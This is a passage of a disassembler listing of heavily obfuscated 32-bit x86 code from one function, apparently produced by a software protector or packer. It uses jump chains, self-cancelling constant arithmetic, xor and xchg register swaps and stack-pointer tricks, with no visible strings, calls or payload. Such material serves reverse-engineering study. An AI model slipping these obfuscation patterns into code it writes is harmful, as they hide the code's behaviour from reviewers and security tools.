		add	ax, bx
		pop	ebx
		sub	ax, 4A0Ah
		jmp	loc_5A008B
; ---------------------------------------------------------------------------


loc_5A2B34:				; CODE XREF: sub_58A891+168DBj
		add	[esp+7Eh+var_7E], 4
		pop	edx
		push	ecx
		mov	ecx, 77034884h
		push	edx
		mov	edx, 72D727CEh
		sub	edx, 6D8AE067h
		add	ecx, edx
		pop	edx
		add	ecx, 299236BEh
		jmp	loc_5A5C47
; ---------------------------------------------------------------------------


loc_5A2B5C:				; CODE XREF: sub_58A891+11C06j
		push	[esp+0Ah+var_C+2]
		pop	eax
		jmp	loc_59E006
; ---------------------------------------------------------------------------


loc_5A2B65:				; CODE XREF: sub_58A891+11B34j
					; sub_58A891+236B8j
		mov	[esp-26h+arg_1C+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 4
		jmp	loc_59DEF2
; ---------------------------------------------------------------------------


loc_5A2B80:				; CODE XREF: sub_58A891+24195j
		pop	dword ptr [edi+40h]
		push	[esp-26h+arg_1C+2]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5A285D
; ---------------------------------------------------------------------------


loc_5A2B92:				; CODE XREF: sub_58A891+1EF7Bj
		mov	[esp+0], edx
		push	504h
		jmp	loc_5A8573
; ---------------------------------------------------------------------------


loc_5A2B9F:				; CODE XREF: sub_58A891+13D95j
		xchg	edi, [esp+92h+var_92]
		jmp	loc_5A0D5A
; ---------------------------------------------------------------------------


loc_5A2BA7:				; CODE XREF: sub_58A891+171CBj
		inc	esi
		jns	loc_59F231
		push	ebp
		mov	ebp, 29193C4Ah
		xor	ebp, 122663D5h
		or	esi, ebp


loc_5A2BBC:				; CODE XREF: sub_58A891+1DF6Fj
		sub	cl, ah
		mov	eax, [esp+0DEh+var_E0+2]
		add	esp, 4
		push	ax
		jmp	loc_5AD882
; ---------------------------------------------------------------------------


loc_5A2BCB:				; CODE XREF: sub_58A891+21DC7j
		mov	bl, al
		mov	dl, bl
		pop	ebx
		pop	eax
		mov	bl, 0DEh
		xor	bl, dl
		pop	edx
		mov	ch, 9Ah
		neg	ch
		jmp	loc_5A9536
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+0CEh+var_D0+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2BEE:				; CODE XREF: sub_58A891+271D9j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+0D6h+var_D8+2]
		xor	[esp+0D6h+var_D8+2], ecx
		xor	ecx, [esp+0D6h+var_D8+2]
		jmp	loc_5B257C
; ---------------------------------------------------------------------------


loc_5A2C08:				; CODE XREF: sub_58A891+124CCj
		shl	ebx, 2
		add	ebx, 34FB3E3h
		add	ecx, ebx
		pop	ebx
		add	ebx, 2CC328A9h
		sub	ebx, ecx
		sub	ebx, 2CC328A9h
		mov	ecx, [esp+86h+var_86]
		add	esp, 4
		push	edx
		mov	edx, 2420123Eh
		jmp	loc_5A59CF
; ---------------------------------------------------------------------------


loc_5A2C36:				; CODE XREF: sub_58A891+13F19j
		mov	ch, al
		pop	eax
		jmp	loc_5A1426
; ---------------------------------------------------------------------------


loc_5A2C3E:				; CODE XREF: sub_58A891+141A6j
		add	esp, 4
		xor	eax, 30BE3E96h
		mov	ebp, eax
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		xor	ebp, esi
		push	[esp+6+var_8+2]
		jmp	loc_5AB39E
; ---------------------------------------------------------------------------


loc_5A2C5B:				; CODE XREF: sub_58A891+13901j
		push	eax
		push	edi
		mov	edi, 52980CA1h
		jmp	loc_59DBFC
; ---------------------------------------------------------------------------


loc_5A2C67:				; CODE XREF: sub_58A891+25098j
		mov	[esp+1Ah+var_1C+2], edx
		jmp	loc_5AF29A
; ---------------------------------------------------------------------------


loc_5A2C6F:				; CODE XREF: sub_58A891+1A871j
		add	eax, 67AA6670h
		sub	eax, 758D62EAh
		push	[esp+1Ah+var_1C+2]
		jmp	loc_5AE574
; ---------------------------------------------------------------------------


loc_5A2C81:				; CODE XREF: sub_58A891+1FE49j
		jmp	loc_5A0DD7
; ---------------------------------------------------------------------------


loc_5A2C86:				; CODE XREF: sub_58A891+21784j
		xor	al, bl
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebx
		push	0AF9h
		mov	[esp+26h+var_28+2], ecx
		jmp	loc_5ABA8B
; ---------------------------------------------------------------------------


loc_5A2C9E:				; CODE XREF: sub_58A891+169A0j
		xor	esi, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		mov	cx, word ptr [esp+44h+var_46+2]
		jmp	loc_5A4FC7
; ---------------------------------------------------------------------------


loc_5A2CAD:				; CODE XREF: sub_58A891+26BCBj
		jnz	loc_5A960B
		push	edi
		jmp	loc_5B108E
; ---------------------------------------------------------------------------
		add	ebp, ebx
		mov	eax, ebp
		mov	edx, ebx


loc_5A2CBF:				; CODE XREF: sub_58A891+1CA0Cj
		push	esi
		mov	esi, 72D7508Eh
		shl	esi, 1
		jz	loc_5A7A12
		sub	esi, 6D246CABh
		jl	loc_5A7BB6
		inc	esi
		jl	loc_5ACF59
		jmp	loc_5A64D8
; ---------------------------------------------------------------------------
		mov	cl, ah


loc_5A2CE7:				; CODE XREF: sub_58A891+19A2Dj
		mov	esi, 1B217A5Fh
		sub	edi, esi
		pop	esi
		push	1564h
		mov	[esp+4Ch+var_4E+2], ebx
		mov	ebx, 4EA73010h
		add	ebx, 116B10F0h
		add	ebx, 1E002376h
		add	edi, ebx
		pop	ebx
		sub	edi, 21B73D95h
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], esi
		mov	esi, 21333553h
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		add	esi, 45015496h
		and	esi, 19BE05E0h
		xor	esi, 253F3C91h
		or	edi, esi
		mov	esi, [esp+4Ch+var_4E+2]
		jmp	loc_5A73F4
; ---------------------------------------------------------------------------


loc_5A2D44:				; CODE XREF: sub_58A891+23BF1j
		add	al, 0BAh
		jmp	loc_5AD847
; ---------------------------------------------------------------------------


loc_5A2D4B:				; CODE XREF: sub_58A891+20E52j
		pop	ebp
		jmp	loc_5A4A97
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+48h+var_4A+2]
		push	ebp
		jmp	loc_5A8D70
; ---------------------------------------------------------------------------


loc_5A2D5B:				; CODE XREF: sub_58A891+1225Dj
		sub	ebp, 4
		push	ebp
		push	[esp+9Ah+var_96]
		pop	ebp
		jmp	loc_5A086E
; ---------------------------------------------------------------------------


loc_5A2D6C:				; CODE XREF: sub_58A891+13D21j
		add	[esp+3Ah+var_38+2], ebp
		sub	[esp+3Ah+var_38+2], 35B2461Fh
		pop	ebp
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_5AB8AF
; ---------------------------------------------------------------------------


loc_5A2D85:				; CODE XREF: sub_58A891+2800Ej
		add	ebx, 89208025h
		mov	edx, ebx
		mov	ebx, [esp+36h+var_38+2]
		add	esp, 4
		push	esi
		push	edx
		jmp	loc_5A5D05
; ---------------------------------------------------------------------------


loc_5A2D9D:				; CODE XREF: sub_58A891+1A856j
		xchg	esi, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		push	eax
		pop	ecx
		mov	eax, [esp+3Ah+var_3C+2]
		push	esi
		mov	esi, esp
		jmp	loc_5A5B7A
; ---------------------------------------------------------------------------


loc_5A2DB0:				; CODE XREF: sub_58A891:loc_5AA349j
		sub	ecx, 23D47AAEh
		jg	loc_5A3F1D
		shl	ecx, 3
		jns	loc_5A30EE
		add	ecx, 92CCCE1Fh
		jmp	loc_5A6E3D
; ---------------------------------------------------------------------------


loc_5A2DD0:				; CODE XREF: sub_58A891+13B6Aj
					; sub_58A891+191C8j
		inc	esi
		push	ebp
		jmp	loc_5A0854
; ---------------------------------------------------------------------------


loc_5A2DD7:				; CODE XREF: sub_58A891+1E185j
		pop	ecx
		xchg	ah, dh
		push	eax
		push	edx
		push	ecx
		mov	cl, 6Ch
		jmp	loc_5ACF7E
; ---------------------------------------------------------------------------


loc_5A2DE4:				; CODE XREF: sub_58A891+28043j
		pop	edx
		add	ecx, 6D5F0A8Ah
		jmp	loc_5A0FA2
; ---------------------------------------------------------------------------


loc_5A2DF0:				; CODE XREF: sub_58A891+1778Fj
		push	21D1h
		mov	[esp+22h+var_24+2], ebp
		mov	ebp, 4CA91D30h
		shr	ebp, 5
		jmp	loc_5A3BDC
; ---------------------------------------------------------------------------


loc_5A2E05:				; CODE XREF: sub_58A891+139C8j
		push	70EB35EAh
		pop	esi
		jmp	loc_5AF5DF
; ---------------------------------------------------------------------------


loc_5A2E10:				; CODE XREF: sub_58A891+1DC77j
		jmp	loc_5A97AC
; ---------------------------------------------------------------------------


loc_5A2E15:				; CODE XREF: sub_58A891+11852j
		xor	esi, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], esi
		jmp	loc_5B2932
; ---------------------------------------------------------------------------


loc_5A2E20:				; CODE XREF: sub_58A891+16F33j
					; sub_58A891+19AA7j
		add	eax, ecx
		push	[esp+8Ah+var_8A]
		pop	ecx
		jmp	loc_5B1CC7
; ---------------------------------------------------------------------------
		mov	esp, [esp+8Ah+var_8A]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2E33:				; CODE XREF: sub_58A891+1C89Dj
		sub	ebp, ebx
		jmp	loc_5A7957
; ---------------------------------------------------------------------------


loc_5A2E3A:				; CODE XREF: sub_58A891+1287Cj
		pop	dword ptr [esp+0]
		jmp	loc_5ACC3E
; ---------------------------------------------------------------------------


loc_5A2E42:				; CODE XREF: sub_58A891+1FD7Ej
					; sub_58A891:loc_5B2338j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+72h+var_74+2]
		mov	esp, [esp+72h+var_74+2]
		mov	[esp+72h+var_74+2], eax
		jmp	loc_5A5E3A
; ---------------------------------------------------------------------------


loc_5A2E5A:				; CODE XREF: sub_58A891+284A5j
		sub	eax, 12E94943h
		jo	loc_5A04C6
		push	ebx
		mov	ebx, 3CC7603Bh
		jmp	loc_5A6C2F
; ---------------------------------------------------------------------------


loc_5A2E70:				; CODE XREF: sub_58A891+144A4j
		mov	ebp, 0B8264Eh
		and	ebp, 490A0BA4h
		xor	ebp, 223B5D97h
		add	eax, 6B7E0E56h
		sub	eax, ebp
		jmp	loc_5AF60E
; ---------------------------------------------------------------------------


loc_5A2E8D:				; CODE XREF: sub_58A891+158E1j
		push	esp
		pop	[esp+6Eh+var_70+2]
		jmp	loc_5A0144
; ---------------------------------------------------------------------------


loc_5A2E96:				; CODE XREF: sub_58A891+21C47j
		sub	ecx, 332E1278h
		mov	edx, [esp+6Ah+var_6C+2]
		add	esp, 4
		add	eax, 688021E7h
		add	eax, ecx
		sub	eax, 688021E7h
		jmp	loc_5A8346
; ---------------------------------------------------------------------------


loc_5A2EB6:				; CODE XREF: sub_58A891+248E5j
		push	ebp
		mov	ebp, 1BE74206h
		add	ebx, ebp
		pop	ebp
		sub	ebx, esi
		sub	ebx, 1BE74206h
		mov	esi, [esp+66h+var_68+2]
		jmp	loc_5AF940
; ---------------------------------------------------------------------------


loc_5A2ECF:				; CODE XREF: sub_58A891+1B019j
		mov	edx, 17EB1DEBh
		push	1777h
		mov	[esp+6Ah+var_6C+2], esi
		mov	esi, 357A2136h
		push	edi
		mov	edi, 4AAE0ED3h
		sub	edi, 0DDA9B69h
		jmp	loc_5AC45E
; ---------------------------------------------------------------------------


loc_5A2EF2:				; CODE XREF: sub_58A891+1436Fj
		add	esp, 4
		pop	[esp+6Ah+var_6C+2]
		mov	esp, [esp+66h+var_68+2]
		mov	[esp+66h+var_68+2], esi
		push	edx
		push	6FAA2097h
		mov	edx, [esp+6Eh+var_70+2]
		jmp	loc_5B00EC
; ---------------------------------------------------------------------------
		mov	eax, [esp+6Eh+var_70+2]
		push	462Fh
		mov	[esp+72h+var_74+2], ecx
		push	esp
		jmp	loc_5A3AD1
; ---------------------------------------------------------------------------


loc_5A2F20:				; CODE XREF: sub_58A891+14E77j
		pop	edi
		sub	esi, ebp
		pop	ebp
		jmp	loc_59F541
; ---------------------------------------------------------------------------


loc_5A2F29:				; CODE XREF: sub_58A891+1DE94j
		add	ebx, 591F60BFh
		mov	eax, ebx
		pop	ebx
		add	[esp+2Eh+var_2C+2], eax
		pop	eax
		jmp	loc_5A4866
; ---------------------------------------------------------------------------


loc_5A2F3C:				; CODE XREF: sub_58A891+14953j
		pop	edx
		or	ebp, edx
		mov	edx, [esp+0BEh+var_BE]
		add	esp, 4
		push	edi
		push	ebx
		push	ecx
		mov	ecx, 3AC266D1h
		push	ecx
		dec	[esp+0CAh+var_CC+2]
		pop	ecx
		jmp	loc_59C4E7
; ---------------------------------------------------------------------------


loc_5A2F57:				; CODE XREF: sub_58A891+1A685j
		xchg	eax, [esp+0C6h+var_C8+2]
		mov	esp, [esp+0C6h+var_C8+2]
		idiv	cl
		movzx	cx, ah
		push	ecx
		push	esp
		pop	ecx
		push	4647h
		mov	[esp+0CEh+var_D0+2], ebp
		push	493B21FDh
		jmp	loc_59CF32
; ---------------------------------------------------------------------------


loc_5A2F78:				; CODE XREF: sub_58A891+232A5j
		pop	esi
		push	edx
		jmp	loc_5AD823
; ---------------------------------------------------------------------------


loc_5A2F7F:				; CODE XREF: sub_58A891+13C98j
					; sub_58A891+1645Bj
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		sub	ebx, 8FA397D3h
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2F93:				; CODE XREF: sub_58A891+1C089j
					; sub_58A891+1CC62j
		sub	esi, 40380877h
		pop	ebx
		xchg	esi, [esp+16h+var_18+2]
		pop	esp
		mov	word ptr [esp+12h+var_14+2], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2FA7:				; CODE XREF: sub_58A891+28138j
		jmp	loc_59F573
; ---------------------------------------------------------------------------


loc_5A2FAC:				; CODE XREF: sub_58A891+20708j
		sub	ebx, 6E18235Ah
		push	[esp+12h+var_14+2]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], eax
		push	[esp+1Ah+var_18+2]
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		pop	[esp+1Ah+var_1C+2]
		jmp	loc_5AF6DD
; ---------------------------------------------------------------------------


loc_5A2FD9:				; CODE XREF: sub_58A891+19135j
		mov	[esp+16h+var_18+2], eax
		mov	eax, edi
		mov	ebx, eax
		pop	eax
		pop	edi
		inc	ebx
		add	ebx, 0AD7395Fh
		shr	ebx, 8
		shr	ebx, 7
		add	ebx, 47913B1Eh
		jmp	loc_5A1585
; ---------------------------------------------------------------------------


loc_5A2FFA:				; CODE XREF: sub_58A891+11F2Aj
		inc	ebx
		shr	ebx, 5
		xor	ebx, 1382520Fh
		add	ebx, 3A55D8A2h
		jmp	loc_59D112
; ---------------------------------------------------------------------------


loc_5A300F:				; CODE XREF: sub_58A891+1E359j
		add	esp, 4
		add	esp, 4
		push	[esp+62h+var_64+2]
		push	[esp+66h+var_68+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5B181E
; ---------------------------------------------------------------------------


loc_5A302A:				; CODE XREF: sub_58A891+136B7j
		add	esi, 4
		add	esi, 4
		jmp	loc_59F8B0
; ---------------------------------------------------------------------------
		neg	[esp+8Eh+var_8E]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A3041:				; CODE XREF: sub_58A891+28292j
		push	ebx
		mov	ebx, 39770181h
		shr	ebx, 3
		add	ebx, 0F8D11FD4h
		add	esi, ebx
		pop	ebx
		jmp	loc_5AA3CA
; ---------------------------------------------------------------------------


loc_5A3058:				; CODE XREF: sub_58A891+11A6Fj
		pop	ebx
		sub	edi, 69FD4D0Bh
		jmp	loc_59F28D
; ---------------------------------------------------------------------------


loc_5A3064:				; CODE XREF: sub_58A891+1F6BFj
		not	ebx
		sub	ebx, 7F80EB55h
		mov	edx, 9D085821h
		jmp	loc_5AF6D5
; ---------------------------------------------------------------------------


loc_5A3076:				; CODE XREF: sub_58A891+24DB1j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp-1Eh+arg_18+2]
		jmp	loc_5A118E
; ---------------------------------------------------------------------------


loc_5A3087:				; CODE XREF: sub_58A891+18203j
		add	esp, 4
		add	eax, ebx
		jmp	loc_5B2FBF
; ---------------------------------------------------------------------------


loc_5A3094:				; CODE XREF: sub_58A891+19A1Aj
		add	eax, edi
		push	dword ptr [eax]
		push	6839h
		mov	[esp+92h+var_92], eax
		jmp	loc_5B098F
; ---------------------------------------------------------------------------


loc_5A30A5:				; CODE XREF: sub_58A891+259D0j
		sub	esp, 4
		mov	[esp+96h+var_96], eax
		mov	eax, 4EBF20CEh
		jmp	loc_5A607A
; ---------------------------------------------------------------------------


loc_5A30B5:				; CODE XREF: sub_58A891+11AACj
		or	esi, edx
		pop	edx
		neg	esi
		sub	esi, 480F4960h
		sub	edx, 25E9283Dh
		sub	edx, 416F592Fh
		sub	edx, 0ADE67F4h
		sub	edx, esi
		add	edx, 0ADE67F4h
		add	edx, 416F592Fh
		add	edx, 25E9283Dh
		mov	esi, [esp-1Eh+arg_18+2]
		jmp	loc_59CAD1
; ---------------------------------------------------------------------------


loc_5A30EE:				; CODE XREF: sub_58A891+174F8j
					; sub_58A891+1852Ej
		add	ebx, 2F456CC8h
		mov	ecx, [esp-0Ah+arg_0+2]
		add	esp, 4
		add	ebx, ecx
		sub	ebx, 586855B7h
		mov	ecx, [esp-0Eh+arg_4+2]
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		jmp	loc_59D4A3
; ---------------------------------------------------------------------------


loc_5A3116:				; CODE XREF: sub_58A891+25297j
		add	edi, ebx
		pop	ebx
		jmp	loc_5AD9CC
; ---------------------------------------------------------------------------


loc_5A311E:				; CODE XREF: sub_58A891+19756j
		inc	ecx
		not	ecx
		dec	ecx
		jmp	loc_5A6763
; ---------------------------------------------------------------------------


loc_5A3127:				; CODE XREF: sub_58A891+173CFj
		sub	esp, 4
		mov	[esp+32h+var_34+2], edx
		push	ebx
		pop	edx
		jmp	loc_5A5DC5
; ---------------------------------------------------------------------------


loc_5A3137:				; CODE XREF: sub_58A891+27721j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+32h+var_34+2]
		pop	esp
		mov	[esp+2Eh+var_30+2], edx
		mov	edx, 2
		sub	ecx, 2AF55C49h
		sub	ecx, 1B9E792Bh
		add	ecx, edx
		add	ecx, 1B9E792Bh
		add	ecx, 2AF55C49h
		jmp	loc_59C172
; ---------------------------------------------------------------------------


loc_5A316B:				; CODE XREF: sub_58A891+2048Bj
		mov	ecx, [esp+2Eh+var_30+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A3512
; ---------------------------------------------------------------------------


loc_5A3176:				; CODE XREF: sub_58A891+1EC82j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Eh+var_30+2]
		jmp	loc_59D6E3
; ---------------------------------------------------------------------------


loc_5A318B:				; CODE XREF: sub_58A891+141F5j
					; sub_58A891+145DBj
		sub	ecx, 0D3BF7Ah
		add	ebx, 3486201Bh
		jmp	loc_5A787A
; ---------------------------------------------------------------------------


loc_5A319C:				; CODE XREF: sub_58A891+25F8Aj
		mov	eax, esp
		jmp	loc_5AAF89
; ---------------------------------------------------------------------------


loc_5A31A3:				; CODE XREF: sub_58A891+20985j
		mov	ebx, 2BCC6EE7h
		xor	ebx, 250C555Eh
		push	edx
		mov	edx, 65BB201Bh
		inc	edx
		neg	edx
		sub	edx, 75CA6BD8h
		inc	edx
		or	edx, 550C0E8Bh
		push	edi
		jmp	loc_5AD1EF
; ---------------------------------------------------------------------------


loc_5A31CA:				; CODE XREF: sub_58A891+17201j
		mov	di, word ptr [esp+0D2h+var_D4+2]
		jmp	loc_5A6589
; ---------------------------------------------------------------------------


loc_5A31D3:				; CODE XREF: sub_58A891+214DEj
		sub	esp, 4
		mov	[esp+0D6h+var_D8+2], edx
		xchg	eax, [esp+0D6h+var_D8+2]
		not	eax
		xor	[esp+0D6h+var_D8+2], eax
		xor	eax, [esp+0D6h+var_D8+2]
		jmp	loc_5ADEC9
; ---------------------------------------------------------------------------


loc_5A31E9:				; CODE XREF: sub_58A891+25856j
		mov	edx, [esp+0D6h+var_D8+2]
		jmp	loc_5AFAF9
; ---------------------------------------------------------------------------


loc_5A31F1:				; CODE XREF: sub_58A891+156C7j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_5AA8D0
; ---------------------------------------------------------------------------


loc_5A3206:				; CODE XREF: sub_58A891+16992j
		add	bl, 1
		push	cx
		mov	ch, 16h
		xor	bl, ch
		pop	cx
		push	eax
		mov	ah, 0D9h
		push	ecx
		push	ebx
		mov	bh, 4Ch
		push	ecx
		mov	cl, 0F6h
		or	cl, 83h
		sub	cl, 0A3h
		add	cl, 0FFh
		jmp	loc_5A06B2
; ---------------------------------------------------------------------------


loc_5A3229:				; CODE XREF: sub_58A891+1F64Ej
		sub	edx, 0DBF07105h
		jmp	loc_5B2277
; ---------------------------------------------------------------------------


loc_5A3234:				; CODE XREF: sub_58A891+24289j
		mov	[esp+0], ebx
		jmp	loc_5A8C56
; ---------------------------------------------------------------------------


loc_5A323C:				; CODE XREF: sub_58A891+1D1ACj
		pop	esp
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_5A5AE8
; ---------------------------------------------------------------------------


loc_5A3246:				; CODE XREF: sub_58A891+25828j
		sub	esi, 9C274550h
		mov	edi, esi
		mov	esi, [esp+54h+var_54]
		jmp	loc_5ABDEB
; ---------------------------------------------------------------------------


loc_5A3256:				; CODE XREF: sub_58A891+20948j
		pop	edx
		push	edi
		mov	edi, 716D1844h
		sub	edi, 89F14B5h
		xor	eax, edi
		mov	edi, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_5ADDE4
; ---------------------------------------------------------------------------


loc_5A3270:				; CODE XREF: sub_58A891+167A9j
		push	273Bh
		mov	[esp-0Ah+arg_0+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 5B4B4344h
		dec	edi
		jmp	loc_59CEF2
; ---------------------------------------------------------------------------


loc_5A328C:				; CODE XREF: sub_58A891+26493j
		pop	edi
		xchg	eax, [esp-0Ah+arg_0+2]
		pop	esp
		jmp	loc_5A5A4F
; ---------------------------------------------------------------------------


loc_5A3296:				; CODE XREF: sub_58A891+15F3Aj
		push	edx
		push	3B7611EBh
		pop	edx
		not	edx
		inc	edx
		jmp	loc_5AD63E
; ---------------------------------------------------------------------------


loc_5A32A5:				; CODE XREF: sub_58A891+18B5Fj
		mov	ecx, esi
		push	ecx
		add	dword ptr [esp+0], 7A745167h
		pop	edx
		jmp	loc_5AB731
; ---------------------------------------------------------------------------


loc_5A32B5:				; CODE XREF: sub_58A891+1B30Dj
					; sub_58A891+1D715j
		push	edi
		jmp	loc_59FE87
; ---------------------------------------------------------------------------


loc_5A32BB:				; CODE XREF: sub_58A891+2699Ej
		mov	ch, 54h
		jmp	loc_5A9949
; ---------------------------------------------------------------------------


loc_5A32C2:				; CODE XREF: sub_58A891+1180Cj
		push	esi
		mov	esi, 3B97142Ah
		jmp	loc_5AD07C
; ---------------------------------------------------------------------------


loc_5A32CD:				; CODE XREF: sub_58A891+18A5Cj
					; sub_58A891+1968Fj
		and	eax, ebx
		push	[esp+12h+var_14+2]
		mov	ebx, [esp+16h+var_18+2]
		jmp	loc_5A79FB
; ---------------------------------------------------------------------------


loc_5A32DA:				; CODE XREF: sub_58A891+1D6E2j
		xor	ebx, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		push	0E33h
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, 1
		jmp	loc_5A32CD
; ---------------------------------------------------------------------------


loc_5A32F2:				; CODE XREF: sub_58A891+14545j
		push	ebx
		jmp	loc_59E7FA
; ---------------------------------------------------------------------------


loc_5A32F8:				; CODE XREF: sub_58A891+11945j
		inc	eax
		shl	eax, 7
		push	77D4h
		mov	[esp+0], esi
		jmp	loc_5AA586
; ---------------------------------------------------------------------------


loc_5A3309:				; CODE XREF: sub_58A891+25CE3j
		pop	ebp
		sub	edx, 6EEA5950h
		mov	ebx, [esp-0Ah+arg_0+2]
		add	esp, 4
		jmp	loc_5AA614
; ---------------------------------------------------------------------------


loc_5A331E:				; CODE XREF: sub_58A891+25735j
		add	esp, 4
		jmp	loc_59DF9B
; ---------------------------------------------------------------------------


loc_5A3329:				; CODE XREF: sub_58A891+27B50j
		xchg	ebx, edx
		sub	ebx, 1
		jmp	loc_59E8EF
; ---------------------------------------------------------------------------


loc_5A3336:				; CODE XREF: sub_58A891+1AC6Fj
		mov	esi, 2C8425C2h
		sub	[esp+8], esi
		pop	esi
		add	[esp+4], edx
		add	dword ptr [esp+4], 2C8425C2h
		jmp	loc_5AC85A
; ---------------------------------------------------------------------------


loc_5A3351:				; CODE XREF: sub_58A891+24620j
		inc	ebp
		jmp	loc_5B2B4A
; ---------------------------------------------------------------------------


loc_5A3357:				; CODE XREF: sub_58A891+25849j
		push	2D164ED6h
		pop	edx
		jmp	loc_5AFD25
; ---------------------------------------------------------------------------


loc_5A3362:				; CODE XREF: sub_58A891+27D97j
		neg	ebx
		jbe	loc_5A1550
		sub	ebx, 933785B9h
		shr	ebx, 6
		push	edx


loc_5A3374:				; CODE XREF: sub_58A891+23FEAj
		mov	ah, bl
		mov	ebx, [esp-12h+arg_8+2]
		add	esp, 4
		mov	bh, 65h
		xor	bh, ah
		pop	eax
		shr	bh, 1
		push	ecx
		mov	cl, 0A6h
		jmp	loc_5AD44F
; ---------------------------------------------------------------------------


loc_5A338B:				; CODE XREF: sub_58A891+1E701j
		push	edx
		mov	edx, 58FE1976h
		xor	edx, 4D422B2Fh
		shr	edx, 5
		jmp	loc_5A8B19
; ---------------------------------------------------------------------------


loc_5A339F:				; CODE XREF: sub_58A891+19373j
					; sub_58A891:loc_5AB901j
		mov	[esp-12h+arg_8+2], esp
		jmp	loc_5A3C20
; ---------------------------------------------------------------------------


loc_5A33A7:				; CODE XREF: sub_58A891+18C9Ej
		add	ebx, 32E1BF7h
		sub	ebx, ecx
		sub	ebx, 32E1BF7h
		push	eax
		mov	eax, 120D3D69h
		xor	eax, 42C10D0Fh
		and	eax, 5B1230FAh
		and	eax, 23B04291h
		jmp	loc_5A41F0
; ---------------------------------------------------------------------------


loc_5A33CF:				; CODE XREF: sub_58A891+1409Aj
		sub	edx, 198651Ah
		sub	edx, ecx
		add	edx, 198651Ah
		pop	ecx
		jmp	loc_5A73E6
; ---------------------------------------------------------------------------


loc_5A33E3:				; CODE XREF: sub_58A891+1372Fj
		mov	esi, 5C951A77h
		push	671h
		mov	[esp+0A4h+var_A6+2], ecx
		jmp	loc_5A32A5
; ---------------------------------------------------------------------------


loc_5A33F5:				; CODE XREF: sub_58A891+1B392j
		xchg	ebx, [esp+0A4h+var_A6+2]
		jmp	loc_5AF6A2
; ---------------------------------------------------------------------------


loc_5A33FD:				; CODE XREF: sub_58A891+16B90j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_5A00FF
; ---------------------------------------------------------------------------


loc_5A3411:				; CODE XREF: sub_58A891+1E5B1j
		mov	[esp+0Ah+var_C+2], ebx
		push	4
		push	[esp+0Eh+var_10+2]
		mov	ebx, [esp+12h+var_14+2]
		push	edx
		jmp	loc_5A9F07
; ---------------------------------------------------------------------------


loc_5A3425:				; CODE XREF: sub_58A891+1AC7Bj
		add	al, bh
		pop	ebx
		jmp	loc_5ADAA6
; ---------------------------------------------------------------------------


loc_5A342D:				; CODE XREF: sub_58A891+1ACACj
		mov	edx, 77DF62EAh
		xor	ecx, edx
		jmp	loc_5A1D66
; ---------------------------------------------------------------------------


loc_5A3439:				; CODE XREF: sub_58A891+117D9j
		pop	[esp+16h+var_18+2]
		mov	esp, [esp+12h+var_14+2]
		push	esi
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, 24574E03h
		push	242h
		mov	[esp+1Eh+var_20+2], ecx
		mov	ecx, 6B9531B8h
		mov	esi, 8DEB9AE8h
		sub	esi, ecx
		pop	ecx
		xor	esi, ebx
		jmp	loc_5ABB84
; ---------------------------------------------------------------------------


loc_5A3467:				; CODE XREF: sub_58A891+18F33j
		push	edx
		jmp	loc_5A7200
; ---------------------------------------------------------------------------


loc_5A346D:				; CODE XREF: sub_58A891+20933j
		and	ebx, 77572C70h
		xor	ebx, 4D2E5BEBh
		add	edi, ebx
		pop	ebx
		pop	edx
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	edi
		push	[esp+1Ah+var_18+2]
		pop	edi
		jmp	loc_5AA6ED
; ---------------------------------------------------------------------------


loc_5A3496:				; CODE XREF: sub_58A891+1CAD7j
		push	ecx
		jmp	loc_5A09A2
; ---------------------------------------------------------------------------


loc_5A349C:				; CODE XREF: sub_58A891+1F81Aj
		pop	eax
		push	3C8Ah
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, 39003E18h
		push	ebx
		dec	[esp+22h+var_24+2]
		pop	ebx
		jmp	loc_5B21FB
; ---------------------------------------------------------------------------


